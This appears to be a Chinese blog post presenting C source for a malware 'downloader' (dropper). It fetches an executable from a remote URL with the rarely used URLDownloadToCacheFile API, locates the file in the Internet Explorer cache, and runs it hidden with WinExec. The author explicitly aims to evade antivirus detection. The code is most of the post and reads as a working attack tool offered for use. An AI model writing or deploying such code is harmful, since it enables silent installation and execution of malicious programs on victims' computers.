现在的位置: 首页 > 综合 > 正文

很少人用的下载者方法

2013年02月23日 ⁄ 综合 ⁄ 共 1354字 ⁄ 字号 评论关闭

今天看urlmon.h文件,看到其他几个下载的函数,想如果用别人不常用的UrlDownloadToFile函数,写出来下载者,会不会是免杀的?
开始动手查函数URLDownloadToCacheFile(msdn: http://msdn.microsoft.com/library/default.asp?url=/workshop/net ... /functions/urldownloadtocachefile.asp),看字面意思是下载文件到缓存文件,msdn上查到使用方法,执行一次下载后找到文件下载到了ie的缓存文件夹里.后来找能获取ie缓存文件夹的路径,又google了几分钟,终于找到个合适的api:GetUrlCacheEntryInfo(msdn:http://msdn2.microsoft.com/en-us/library/aa384185.aspx)

于是有了以下代码:

  ]

 #include<urlmon.h>
#include<Wininet.h>
#include<stdio.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"Wininet.lib")

#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/merge:.rdata=.text")

#define szUrl "http://www.spr1t3.com/hello.exe"

void main(int argc,char ** argv)
{
    URLDownloadToCacheFile(NULL,szUrl,"c://1.exe",50,0,NULL);
   
    DWORD dwEntrySize=0;
    LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
   
    char strTemp[255];
   
    if (!GetUrlCacheEntryInfo(szUrl,NULL,&dwEntrySize))
    {
        if (GetLastError()!=ERROR_INSUFFICIENT_BUFFER)
        {
            return;
        }
        else
            lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)new char[dwEntrySize];
    }
    else
        return;
   
    if (!GetUrlCacheEntryInfo(szUrl,lpCacheEntry,&dwEntrySize))
    {
        return;
    }
    else
    {
        memset(strTemp,0,255);
        strncpy(strTemp,lpCacheEntry->lpszLocalFileName,strlen(lpCacheEntry->lpszLocalFileName));
        WinExec(strTemp,SW_HIDE);
        return;
    }
}

 

 

抱歉!评论已关闭.